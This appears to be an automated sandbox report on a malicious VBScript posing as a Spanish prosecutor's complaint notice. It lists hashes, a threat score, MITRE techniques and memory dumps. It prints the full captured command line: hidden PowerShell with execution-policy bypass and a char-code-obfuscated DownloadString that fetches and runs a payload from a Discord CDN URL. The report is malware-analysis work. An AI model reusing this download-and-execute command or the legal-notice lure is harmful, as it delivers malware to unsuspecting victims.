6786d7be736d7131db9aae8c1f51a2f2a86f506cebda18af9cbb8d54e51c7eb3

Analysis

Target

Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs
Size

826B
MD5

676950cc6c5b064bd1a75cdc8cbf4438
SHA1

7deabbeb895a1839b61b1f5a4ddbabbc5ca566b6
SHA256

6786d7be736d7131db9aae8c1f51a2f2a86f506cebda18af9cbb8d54e51c7eb3
SHA512

8a30e71961e19c033e9bb03f18f891ba4f40fb44d18f55539823f876ee38790ebd21591558e01838dc33f6f4fba405e888b5d14ce2c75104f0782e893d8f45f0

Score

8^/10

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 1880 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1880 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1880 powershell.exe

flow	pid	process
9	1880	powershell.exe

pid	process
1880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1880	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 736 wrote to memory of 1880	736	WScript.exe	powershell.exe
PID 736 wrote to memory of 1880	736	WScript.exe	powershell.exe
PID 736 wrote to memory of 1880	736	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/878366592180813876/884445633640034374/jai06.txt');$results
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1880

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/736-53-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download
memory/1880-54-0x0000000000000000-mapping.dmp

Download
memory/1880-56-0x000007FEF3490000-0x000007FEF3FED000-memory.dmp

Filesize
11.4MB

Download
memory/1880-57-0x0000000002700000-0x0000000002702000-memory.dmp

Filesize
8KB

Download
memory/1880-59-0x0000000002704000-0x0000000002707000-memory.dmp

Filesize
12KB

Download
memory/1880-58-0x0000000002702000-0x0000000002704000-memory.dmp

Filesize
8KB

Download
memory/1880-60-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/1880-61-0x000000000270B000-0x000000000272A000-memory.dmp

Filesize
124KB

Download